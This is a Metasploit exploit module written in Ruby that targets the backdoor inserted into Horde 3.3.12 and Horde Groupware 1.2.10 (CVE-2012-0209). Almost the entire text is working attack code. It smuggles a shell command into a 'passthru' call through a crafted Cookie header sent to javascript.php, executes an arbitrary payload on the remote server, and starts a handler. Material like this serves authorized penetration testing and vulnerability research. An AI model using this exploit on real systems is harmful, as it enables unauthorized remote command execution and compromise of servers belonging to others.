Horde 3.3.12 Backdoor Arbitrary PHP Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',  
'Description' => %q{  
This module exploits an arbitrary PHP code execution vulnerability introduced  
as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.  
},  
'Author' => [  
'Eric Romang', # first public PoC  
'jduck' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2012-0209'],  
[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],  
[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]  
],  
'Privileged' => false,  
'Payload' =>  
{  
'BadChars' => "\x0a\x0d",  
'DisableNops' => true,  
'Space' => 4096,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
}  
},  
'Platform' => [ 'unix', 'linux' ],  
'Arch' => ARCH_CMD,  
'DefaultTarget' => 0,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Feb 13 2012'  
))  
  
register_options(  
[  
OptString.new('URI', [true, "Path to Horde installation", "/horde"]),  
OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),  
], self.class)  
end  
  
def exploit  
# Make sure the URI begins with a slash  
uri = datastore['URI']  
if uri[0,1] != '/'  
uri = '/' + uri  
end  
  
# Make sure the URI ends without a slash, because it's already part of the URI  
if uri[-1, 1] == '/'  
uri = uri[0, uri.length-1]  
end  
  
function = "passthru"  
key = Rex::Text.rand_text_alpha(6)  
arguments = "echo #{key}`"+payload.raw+"`#{key}"  
  
res = send_request_cgi({  
'uri' => uri + "/services/javascript.php",  
'method' => 'POST',  
'ctype' => 'application/x-www-form-urlencoded',  
'data' => "app="+datastore['APP']+"&file=open_calendar.js",  
'headers' =>  
{  
'Cookie' => "href="+function+":"+arguments,  
'Connection' => 'Close',  
}  
}) #default timeout, we don't care about the response  
  
if (res)  
print_status("The server returned: #{res.code} #{res.message}")  
end  
  
resp = res.body.split(key)  
if resp and resp[1]  
print_status(resp[1])  
else  
print_error("No response found")  
end  
  
handler  
end  
  
end  
`